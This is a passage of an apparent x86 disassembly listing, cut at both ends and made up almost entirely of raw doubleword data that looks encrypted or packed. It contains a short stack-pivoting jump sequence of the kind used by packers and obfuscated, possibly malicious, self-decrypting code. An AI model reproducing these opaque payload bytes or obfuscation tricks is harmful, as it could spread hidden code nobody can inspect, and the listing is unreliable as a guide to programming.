2432F2BEh, 2BC633F9h dd 0FCE083C7h, 8904E883h, 222D3185h, 14428B06h, 30E58589h dd 428B0622h, 0B0E95318h, 0FF000000h, 2234A5B5h, 0B9E906h dd 0B5FF0000h, 6220689h, 0AEE9h, 9DB5FF00h, 0E906221Dh dd 0A3h, 1311B5FFh, 98E90622h, 0FF000000h, 2204B9B5h, 8DE906h dd 0B5FF0000h, 6221281h, 82E9h, 0E5B5FF00h, 0E9062201h dd 77h, 0A85B5FFh, 6CE90622h, 0FF000000h, 222ADDB5h, 61E906h dd 0B5FF0000h, 62225EDh, 56E9h, 0DB5FF00h, 0E9062214h dd 4Bh, 21B5FFh, 40E90622h, 0FF000000h, 2219F5B5h, 35E906h dd 0B5FF0000h, 6222A4Dh, 2AE9h, 0D9B5FF00h, 0E906220Eh dd 1Fh, 1AB5B5FFh, 14E90622h, 8B000000h, 0BB8D8h, 0F7660000h dd 538D8DE3h, 3062953h, 0FFE1FFC8h, 22206595h, 858B5B06h dd 62233F1h, 0F045839h, 0F85h, 16A5300h, 307595FFh, 0E95B0622h dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 701858Bh dd 8D8D0622h, 6295441h, 8B014189h, 0D8D8DC3h, 0F062955h dd 680h, 11B58B00h, 89062208h, 2233F18Dh, 7D952906h, 0C7062207h dd 222D3185h, 6D0406h, 0B1858900h, 0C706221Bh, 2230E585h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 8F23D82Ch, 18830Fh, 13E90000h, 0AF000000h dd 5BFF01BFh, 743141FEh, 427F89A8h, 0AF3E079Eh, 0B5FF39FFh dd 6220A85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0C1C35343h, 85895BA2h, 622313Dh, 11098509h, 95FF0622h dd 6222065h, 6AF98Bh, 307595FFh, 0C08B0622h, 28B21EEBh dd 1E06CE35h, 15C5912Dh, 49B4C8ADh, 7672E0AAh, 0E4D67487h dd 47BB9398h, 113B49Ah, 0AE8h, 52BA9800h, 89AC3365h, 663B910Bh dd 20BF781h, 1D8F0F5Ah, 0E8000000h, 14h, 0D5F2308Eh, 0B2BDF1EEh dd 0A94EEF18h, 35F07499h, 0C2760726h, 5BF78B66h, 6E65C281h dd 0F98B0000h, 5F51C02Bh, 53020C8Bh, 5FF98B66h, 0D722F181h dd 0B70F0460h, 0E1F181F9h, 23394BBEh, 2206F1BDh, 0B3F18106h dd 817F798Fh, 1E9481F3h, 20C8968h, 29DDD780h, 220FF5B5h dd 4E88306h, 921CF881h, 850FFFFFh, 0FFFFFFBCh, 10E8F98Bh dd 6000000h, 254E891h, 633D326Eh, 0F97FC63Bh, 0E9A6E69Fh dd 0Eh, 0E80F7CA3h, 488595B2h, 0A0AA89CDh, 8B5BF4CAh, 2206CDBDh dd 81C38106h, 0F000064h, 0B9F3BFh, 8B000000h, 222CED85h dd 0B148B06h, 0F719D89h, 0C2810622h, 66077BC4h, 0C5C0F281h dd 81663A32h, 8162E5C7h, 632950F2h, 9E82Ch, 0F73C0000h dd 0E205EEE1h, 2B50911Eh, 22353985h, 14895806h, 61858B0Bh dd 0E9062230h, 0Dh, 0D13EF151h, 482CC99h, 6166BE3Fh, 1E983BDh dd 49F78B66h, 0F38B4949h, 9C54F981h, 850FFFFFh, 22h, 0BE9h dd 482D9F00h, 88EF62E5h, 4703BC4Fh, 1FE9h, 93365E00h, 0B63307D9h dd 54412BADh, 0C781A4B5h, 736E1F72h, 0FFFF6CE9h, 0D4035BFFh dd 8FED0A49h, 0EE8h, 0DAD58600h, 13DEF1F1h, 0CBD88493h dd 0BBD9AD8Ch, 516264ACh, 5890F5Eh, 0BB000000h, 73F7B6DAh dd 5AA8C681h, 0F520000h, 3359D9BFh, 19D8BD2h, 8B062226h dd 8D31163Ch, 62204F9h, 95E1EF81h, 85896310h, 6221DD1h dd 0B488F781h, 0B5896A1Ah, 622329Dh, 70A1C781h, 85895485h dd 622314Dh, 81163C89h, 0B2A1A1C9h, 6800F7Eh, 9000000h dd 220EA1B5h, 1EA8306h, 1BC99D29h, 4A4A0622h, 81E38A4Ah dd 0FFA5E4FAh, 0A4850FFFh, 8BFFFFFFh, 0FC8D8DD8h, 6A062957h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 949AC351h, 5D1BD89h, 8D890622h, 62233F1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3EC35040h dd 3E7C8A6h, 2C61858Bh, 85C70622h, 6222D31h, 6E1Ch, 1455858Bh dd 85C70622h, 62230E5h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 22C35343h dd 511591DDh, 2A4DB5FFh, 0B8660622h, 95FF3413h, 6222065h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4C35646h dd 0FECA225Fh, 81DFBF0Fh, 83B299C0h, 0FF006A61h, 22307595h dd 0EBC08B06h, 0FA1E5D6Bh, 0E4226970h, 8A783A34h, 2BE37785h dd 809A7BEFh, 48DCC96Fh, 0F4A0343Ah, 948A9118h, 0A5340DFh dd 6D22E85Fh, 58742186h, 0B9D08DA8h, 0F070EBC1h, 9D7EDD71h dd 6C0B1E3Ch, 0E7C8A63Eh, 0A6D9C003h, 31F21421h, 9A29E047h dd 0AFC95086h, 99295110h, 1C7F03F4h, 3934396Ch, 3BDDDC2Ch dd 0F8113808h, 5BA1351Dh, 29FE7348h, 15E9h, 0E1D12D00h dd 22h, 3 dup(0) dd 0ADE90000h, 68000004h, 629599Eh, 0F92A4EE9h, 5A2F68FFh dd 44E90629h, 68FFF92Ah, 6295B9Ah, 0F92A3AE9h, 94AFDEFFh dd 0F847347Dh, 60DFA091h, 0D6711809h, 3F0C72BFh, 0D912D2D4h dd 327F96B5h, 0AF90FB48h, 1A076ED9h, 0B7BEC972h, 633E4A22h dd 3FD34113h, 360777E7h, 0E9C4049h, 0A4CECA98h, 94FB3065h dd 44766B7h, 315B90C5h, 0D4A4F116h, 0E853266Bh, 9A49ABB4h dd 0E8E51EEFh, 5E91345Fh, 0B506339h, 0FEBD4918h, 7BCF1FADh dd 0A0314118h, 33A42953h, 0E3AD4FDBh, 72B1E225h, 62A5C32Eh dd 4BD16DEFh, 2E6CAh, 3814ED00h, 0DF6810B1h, 3B966F8Eh dd 2BFB198Fh, 0DB88FCD3h, 9EB97394h, 8F491828h, 0F3DC4E2Ch dd 495FEE1h, 8C96A243h, 2457546Fh, 5EB8E427h, 63395EA5h dd 4A9FF7F8h, 5843C4BDh, 0A9CC997Fh, 0AEFFBE6Bh, 96EB5AEh dd 0CCB2FF24h, 5D0F2E7Fh, 4E90EF0Dh, 0F597CDE0h, 40B2E552h dd 1A17703Bh, 71BEC972h, 146300Bh, 5CEC0EB3h, 2DFFC43h dd 0A4E90000h, 3C4F709Bh, 0D4BBE40Fh, 66131C77h, 18DB2DDh dd 1DDF2B42h, 729DAAD4h, 0E70E3D4Dh, 1A75CEBAh, 0B5DC6715h dd 2B7F2D4Ah, 0CE411362h, 0AB581808h, 82F60364h, 0B4994B9h dd 137156C6h, 57664921h, 34E8CD32h, 411363E4h, 337EA209h dd 0C8B4464Bh, 21332784h, 0FC8C89EEh, 0CDF21D43h, 6582C1h dd 13065C6Ch, 0B5FAB141h, 7267AC9h, 5A51DC75h, 74181597h dd 0AF7D9ACBh, 4113069Bh, 0A0FC3F7Eh, 0BE48F399h, 0F5B2850Fh dd 4EF6495Ah, 58000002h, 0BEE30A35h, 2A177ECDh, 828FE665h dd 0FC254CF7h, 6C5AB592h, 0C3B438Ch, 71CEBCE5h, 0E45F2916h dd 4FF8848Dh, 0C05C3D24h, 411361B8h, 5869B95Dh, 690364ABh dd 49211332h, 75CEBEFBh, 2D01F22Fh, 0EBDF8BE9h, 0B94B98DBh dd 41134D95h, 478AEE6Bh, 4BCA620Ah, 18AAFh, 7A5F7700h dd 3A3B96A2h, 0EC307B47h, 0F682B7C5h, 3B69B16Bh, 218C473Ah dd 0A70BDEEh, 8ACDE83Dh, 0CD0C3745h, 2E196FACh, 61AEABF2h dd 0B5FC201Bh, 0AA1B7CC7h, 3618B1E8h, 0CD760610h, 2B0D568Ah dd 358EEB38h, 517FF921h, 0DE3361F5h, 18BDE14Eh, 0D607B649h dd 193CF606h, 1CA1EB41h, 7C3325BFh, 0B8ED2C10h, 20B9C15Bh dd 515C4119h, 8DDE6910h, 0BC78F07Dh, 1F3574D3h, 32117DBAh dd 203347D5h, 0D7E64119h, 148A089h, 4BD0BC4Ch, 3369h, 0AB58B100h dd 66690364h, 0D7491841h, 75A6A5EAh, 16A6F736h, 411831C6h dd 1037B138h, 4BD1D15Dh, 0A400D3B4h, 4784D5D2h, 91C2810Ah dd 88070E52h, 0F000000h, 801C0577h, 473A3B78h, 8EDF1E9Dh dd 0FD2E1D61h, 0E7DCCB0h, 8EC1EC31h, 40899869h, 2095D4DDh dd 0F884A9FCh, 8264244Fh, 6F473AA9h, 0E9CB221Dh, 0D854B5FAh dd 491E0DBEh, 0B2FF1893h, 2B147FCCh, 9912E463h, 24F5B660h dd 0E314EBh, 0A0ED0000h, 38434CA7h, 0D0BFE00Bh, 62171873h dd 0FD818ED9h, 21C3274Eh, 4E99A6E8h, 0E30A3941h, 1671CABEh dd 0B1D86329h, 2F7B3146h, 0C2411360h, 777140Ch, 9CE0D138h dd 77D248A3h, 0ECE93A05h, 7661EC1Bh, 0DBF961DBh, 3A55EE9Eh dd 90AFD0DDh, 9AFC2043h, 0AF7D9AE9h, 4918E12Ch, 206D8A21h dd 0AE99EF5Eh, 94FF3E7Dh, 1900E034h, 0B48FFD41h, 1D2A545Dh dd 6B71C8h, 58DD0000h, 690364ABh, 49211336h, 52F19A27h dd 0DFADC213h, 82F60364h, 0B4994B9h, 8AB5C7C8h, 8DFF3C59h dd 0CEF861B2h, 0DC6B5A2Dh, 88528EC1h, 6CABDBFCh, 0CB698F6Ah dd 226F86C1h, 7FBCE15Ah, 28EC310Ah, 74CD3FB9h, 6FAEBCF2h dd 0B2FF25F6h, 0D7E4CBCAh, 117B3DEh, 4552A7CEh, 0A6C51635h dd 0F24D3F7Ah, 35EA1h, 0CB840000h, 3D067773h, 8EB9C3E8h dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh dd 6EDDA2CFh, 0BC8BF03Dh, 3A68696Fh, 54000003h, 8324048Fh dd 68042404h, 3459h, 51241C89h, 0C181E189h, 4, 8704E983h dd 895C240Ch, 0BE56240Ch, 7D142EDBh, 0EEC1EED1h, 57BD5507h dd 81493312h, 0E90B68F5h, 0EECD8127h, 454B0439h, 0F585ED81h dd 0EE016A31h, 5EF3895Dh, 240C8B54h, 5704C483h, 0BA52DF89h dd 8, 3A89CA01h, 0C8B5F5Ah db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_502B27 ; --------------------------------------------------------------------------- db 0E2h, 0D6h, 0Ah dd 0FAE0A264h, 0D1A4A6A2h, 16B27B07h, 295CA2B8h, 0FFC50306h dd 0F8B0FBE0h, 3B1B5122h, 0D46EE269h, 0BBED7265h, 31BFF03Fh dd 588A8300h, 0C3AA481Fh, 3CFAEB7Dh, 0CAD3C93Ch, 6D54A01Ch dd 0D0AAB345h, 26BDCF3Ch, 0EAA9EF12h, 60B91F2Fh, 0C9390F25h dd 0CDD3D579h, 0E2019958h, 396C0879h, 4F673614h, 0EB8E9567h dd 0C7B9612Eh, 0BE6ED206h, 0D507687Bh, 13BDCC68h, 3EBEA315h dd 6B93D142h, 4A080411h, 2A814468h, 6AE5601Ah, 11E850h dd 69AD0000h, 0AEF28B45h, 299EF79h, 62449EC1h, 5AA7F198h dd 0AC06E081h, 0C2814EE7h, 6CB1h, 48F0Fh, 0BB660000h, 3BE4BE1h dd 0F900001Bh, 9E80A8Bh, 23000000h, 0A43B69CBh, 0DF733714h dd 5FDA8B66h, 1835C181h, 90BF1331h, 810D099Ah, 5AB20AE9h dd 10E80Fh, 0BE090000h, 0EE917488h, 45236EF5h, 0A9CA9F6Dh dd 8B66BABDh, 0C1815BF9h, 500E1601h, 9E8h, 3FBD4C00h, 0DBDDBCF1h dd 8B66F875h, 0BB5158FBh, 32055680h, 83F9028Fh, 0BB6604EAh dd 0F4ED68Eh, 0FFFF9385h, 0B86660FFh, 870FCAA5h, 2, 0E8612BB7h dd 0Dh, 6E8EF50Eh, 0D9489166h, 585ACBDEh, 0B70F589Eh, 0D2C081DEh dd 6800006Eh, 1B87h, 5FFC8A52h, 0EF80505Eh, 30FF5A71h dd 0C5806059h, 14E972h, 0ACB30000h, 0E86F3909h, 3ADC5312h dd 215D1D50h, 6503D21h, 816121B8h, 6571CAF1h, 870F526Bh dd 3, 5FDEB70Fh, 0BDEAE981h, 0DE93D22h, 0E000000h, 0F16E765h dd 6FFEC162h, 0C541CA27h, 0ED5AF181h, 830F0748h, 0Ch, 6850Fh dd 0F3810000h, 23EE8A03h, 27BA6651h, 0E8008FDBh, 0Eh, 3E8760Dh dd 5410ECD3h, 631970CAh, 81667837h, 5BFE87EBh, 0BA04E883h dd 63257511h, 6F850F4Eh, 0FFFFFFFh, 12E8D0B7h, 1F000000h dd 9CA73AADh, 0CE9F9127h, 0D3F14C48h, 1FCCE47Ah, 644BB942h dd 81580FC9h, 696FC0h, 0BBFB8B00h, 55AC5F62h, 4531EB81h dd 816655ACh, 8B6D94CFh, 8870F10h, 60000000h, 8024F480h dd 8161CFF0h, 2EFDB7F2h, 0C281F570h, 66040FF1h, 0CE8h dd 0D81B6800h, 5D1F0DA8h, 0DCCB883Bh, 0F88B66B2h, 0A4C28159h dd 0F35D3C8h, 6652F6BFh, 8FF08Bh, 14E9h, 3DC71600h, 4AB054E6h dd 4C91E2D6h, 7BBF89E8h, 7EB85DCAh, 4E88332h, 11E9h, 78492200h dd 62E7B133h, 50AC2C69h, 6898037Fh, 0F4BE9D2h, 0FFFF8685h dd 0F18166FFh, 0C08BC81Fh, 8DDBD83h, 75000622h, 21BD8309h dd 6220Ah, 53501974h, 21B8C08Bh, 89000004h, 221B3985h dd 0C99D8D06h, 0FF0624BFh, 83585BD3h, 220A21BDh, 17740006h dd 21B85350h, 89000004h, 221B3985h, 0B89D8D06h, 0FF0624BCh dd 8B585BD3h, 8D9D8BC0h, 0C6062211h, 22330985h, 52685606h dd 0FF9CA8B8h, 222649B5h, 0BE858D06h, 0FF06257Dh, 68046AD0h dd 1000h, 263DB5FFh, 6A0622h, 0C085D0FFh, 0D850Fh, 0B80000h dd 8D000000h, 2276A48Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h dd 8B000000h, 0D3030C50h, 10ADBD83h, 0F000622h, 0E84h dd 0AD9D8B00h, 8B062210h, 2221C985h, 51038906h, 1F858D52h dd 0FF062245h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 22330985h dd 39685606h, 0FFD41F6Dh, 222649B5h, 0BE858D06h, 0FF06257Dh dd 800068D0h, 6A0000h, 8BD0FF52h, 0DDBD83C0h, 62208h, 0BD830975h dd 6220A21h, 50197400h, 0B8C08B53h, 421h, 0E598589h, 9D8D0622h dd 624C030h, 585BD3FFh, 0A21BD83h, 74000622h, 0B8535017h dd 421h, 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 9D8DC08Bh dd 62210ADh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h dd 8E80000h, 0B4000000h, 9EA2824Ah, 0F9209E7h, 0B87h, 58F0F00h dd 66000000h, 9F27F281h, 7BC6815Eh, 8B0000EAh, 60FF2BC2h dd 14E8h, 25B1C100h, 3B9050F7h, 81ACEB7Dh, 0A8946DF8h dd 8C2A1229h, 5A616042h, 830Fh, 0FF610000h, 0DA8B3734h dd 38A0F59h, 0F000000h, 0E981C3B7h, 6C729917h, 81C2B70Fh dd 0C06678F1h, 0C4B86619h, 0C1E98117h, 664D7060h, 0EBCCE881h dd 0A2B75151h, 3E048F5Ah, 8B68C780h, 2EF83DAh, 15890Fh dd 10E90000h, 0C8000000h, 0B3C95CA2h, 0CD686906h, 0DB960D29h dd 4F79A334h, 88F0F4Fh, 56000000h, 880Fh, 815B0000h, 0FF1670FFh dd 19850FFFh, 0F9000000h, 2DE9h, 0D4DB7600h, 0A6E9FA21h dd 0F781E5F1h, 25256F0Ch, 0C7111E3h, 97EEE081h, 68E94A27h dd 3FFFFFFFh, 0D62118A4h, 0D8DA220Fh, 750553D1h, 0BAE9D382h dd 44000000h, 0BAE70E39h, 161B72D1h, 8EB3DA69h, 0F82940FBh dd 685EA996h, 3F4F88h, 75D2B8E9h, 0D863151Ah, 43FC80B1h dd 0C4582128h, 411359B4h, 776DB559h, 67203902h, 0C2059573h dd 7239C2AEh, 3BD9B031h, 0E70C5987h, 0D64DFAAh, 73A9B69Bh dd 3014C891h, 329646F7h, 4846BA68h, 467CD3D5h, 5BE8A51Eh dd 7B0BE316h, 0C6BF9F9Bh, 6AB6822Ch, 0C9Dh, 0E65F4100h dd 51AF70CFh, 2AD301BAh, 3D067790h, 8EB9C3E8h, 0DF68105Dh dd 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh, 6EDDA2CFh dd 0BC8BF03Dh, 3368696Fh, 0E9062962h, 0FFF92003h, 0D8B31B91h dd 0E8EEDAD0h, 77C700ABh, 19CAFE35h, 9EA806AEh, 648A4226h dd 0ABA806AFh, 3C75EAD5h, 84A806AFh, 0BA8A4227h, 7157AE5Dh dd 2C8A4224h, 0ABA806ACh, 0F775EAD5h, 0A7A806ACh, 718A4224h dd 21A806ADh, 0EB8A4225h, 0ABA806ADh, 2575EAD5h, 30B0D42Fh dd 0C0031303h, 5281334Dh, 210C90A7h, 0D121578Bh, 43A377D9h dd 3075D42Fh, 0C0031303h, 52813355h, 20BF90A7h, 0D121578Bh dd 43A377D5h, 3124D42Fh, 0C0031303h, 528132A1h, 206B90A7h dd 0D121578Bh, 43A37621h, 328DD42Fh, 0C0031303h, 528132ADh dd 23E490A7h, 0D121578Bh, 43A3763Dh, 3207D42Fh, 0C0031303h dd 528132B9h, 237A90A7h, 0D121578Bh, 43A37635h, 3399D42Fh dd 0C0031303h, 52813281h, 22E090A7h, 0D121578Bh, 43A3760Dh dd 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 6CE9C7C0h, 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h dd 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 4D3AAE63h dd 848C3702h, 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah dd 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h dd 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh dd 3FB6DB2Fh, 94751303h, 0D9020112h, 6CE10BA0h, 0EC79AEA4h dd 41AE51A1h, 4A22DC09h, 0BA8C3C41h, 0DF103773h, 0C821732Ah dd 7DC34F28h, 0FD5BEA2Ch, 508C152Bh, 5B009881h, 0ABAE78C9h dd 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 6CEE87C0h, 5CDDDAA4h dd 828668A1h, 54A8ADE7h, 0BACC152Ah, 76BE0430h, 0CE529E2Ch dd 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 6CE10BA0h, 0D79AEA4h dd 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h dd 43A371C3h, 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah dd 528A47F7h, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h dd 6CE10BA0h, 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h dd 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 4A22DC08h, 0BA8C3C41h dd 0FEF8E173h, 2E949FA7h, 8557578Bh, 6E20D6A0h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah, 528A79BBh dd 0C8204526h, 7DC34F28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh dd 0FE0451A2h, 53DF87D5h, 8C235780h, 0EF491786h, 3FB6DB2Fh dd 94751303h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh dd 457650EDh, 0F8A851A2h, 1018EA80h, 0DFAE73B4h, 8558B9E2h dd 4A32DC08h, 0BA8C3C41h, 94103771h, 0CF2173E3h, 2983FB63h dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 528A47F7h dd 7726DDA1h, 0CE25FB63h, 43A37E34h, 0ECCE825Dh, 0EEECE4AAh dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah dd 0D903376Bh, 6CE10BB0h, 327BAEA4h, 234B9592h, 0FE04FD09h dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h dd 2E948FA7h, 8757578Bh, 320A09Ah, 0CE25FB0Eh, 43A37E34h dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 6CEDAFC0h dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43A377C5h dd 9232DCF1h, 0BA8C3C49h, 0A8EDD871h, 458A42C3h, 58DDAEA2h dd 0C88260D5h, 7DCAAE38h, 0DF07462Ch, 52813264h, 3C6D5h dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 26818FA7h, 0D9FB578Bh dd 6CE9D3B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh dd 4332DCAAh, 168C3C49h, 376ECB2Fh, 96751303h, 0BD54142Bh dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 2AE900h dd 4C70000h, 24h, 0E800h, 815D0000h, 296896EDh, 24448B06h dd 15858904h, 0B8062208h, 0 dd 50B18D8Dh, 0E1FF0622h, 6754B8h, 6E800h, 5B260000h, 0D1F9E977h dd 59DA8B66h, 10E952h, 2B40000h, 0EB4A0F0Eh, 990A3D43h dd 9450FB97h, 815B69EDh, 5B46C1h, 0BED38B00h, 16A7h, 0D1E88166h dd 0F31FFC0h, 680h, 68E88100h, 5F33114Fh, 8E952h, 0A16E0000h dd 91F6961Eh, 815A9DF8h, 722FECEFh, 0D0BF0F6Bh, 0A0DDF781h dd 0BA66544Ah, 0F781F189h, 5DCDBB0Bh, 4CD7B866h, 4850F57h dd 66000000h, 8F95A1BAh, 10E901h, 0E0230000h, 0FE8D1635h dd 37B9FE83h, 0E2AD377Eh, 0E98145F6h, 61E161FDh, 0B90EE081h dd 0C1812268h, 61E161F9h, 0F4EF08Ah, 0FFFF8885h, 0D38B66FFh dd 75FDED55h, 76F67A5Eh, 56E669A4h, 0ABFD49BCh, 9FD2DDEh dd 4EFD2DF0h, 0ACFD2DE7h, 9EFD2D6Ah, 74FD2DAFh, 5DFD2D4Ah dd 32FD2D3Bh, 29FD2D83h, 54FD2DDFh, 2DFD2DF0h, 86FD2DE7h dd 0E3FD2D6Ch, 0C0FD2DA8h, 0ADFD2D4Ah, 69FD2D3Bh, 0BDFD2D81h dd 9DFD2DDEh, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75ABE8D9h dd 75ABEE95h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h dd 0F0701ABCh, 73D417DAh, 1C46FFA6h, 0F0707CBEh, 73D41751h dd 1C86FF6Ch, 0F0707CDBh, 73D417A1h, 1C4AFF35h, 0F0707C77h dd 73D41717h, 1C82FF1Eh, 0F0707CE2h, 73D41612h, 1C7EFF7Bh dd 0F0707C50h, 73D41129h, 1C7AFFD7h, 0F0707C06h, 73D41130h dd 1C76FF42h, 0F0707CCCh, 73D4114Fh, 1C72FFF0h, 0F0707C95h dd 73D41646h, 1C66FFA6h, 0F0707CBEh, 73D4112Fh, 1C6EFF6Ch dd 0F0707CDBh, 73D4167Ah, 1C6AFF35h, 0F0707C77h, 73D41637h dd 1C66FF1Eh, 0F0707CE2h, 73D416B7h, 1C56FF7Bh, 0F0707C50h dd 73D416CDh, 1C52FFD7h, 0F0707C06h, 73D41603h, 1C4EFF42h dd 0F0707CCCh, 73D4162Fh, 1C62FFF0h, 0F0707C95h, 73D4174Ah dd 1C5EFFA6h, 0F0707CBEh, 73D41764h, 1C5AFF6Ch, 0F0767CDBh dd 73DF6C2Ch, 1C09FF35h, 0F0767C77h, 73DF5236h, 1C05FF1Eh dd 0B69C7CE2h, 9D11F1B0h, 75FD7AF2h, 7D17FB23h, 25FB53D7h dd 0FDF53FD5h, 5C9489ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73D41195h, 1C87FFA0h, 0C87D7C06h dd 73D413EDh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 1C05EF86h dd 0FEBD7C95h, 7A452B96h, 8AFD7A2Fh, 5C948202h, 0E48F7CDh dd 0F8FB538Ch, 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh dd 5C9482BAh, 0E48F791h, 0F8FB53A2h, 8A50FCD1h, 0BC1F2322h dd 1C87F787h, 2DA07C95h, 2CA32005h, 776D92ECh, 0CD4D7A97h dd 8A5779C1h, 5C948E70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh dd 0DE9B5954h, 1C09EFD0h, 0DE9B7CBEh, 77959208h, 360B7AE5h dd 6E8872F3h, 1C09EF86h, 0C54D7C95h, 8AAD7954h, 5C948EBAh dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h dd 0FF4DBA07h, 816885B5h, 2FFB539Bh, 51FD5F1Fh, 133F71DAh dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 1C05EF0Dh dd 0C0707C50h, 73D41303h, 7F518A5Dh, 0E002D02Ch, 73D41363h dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h dd 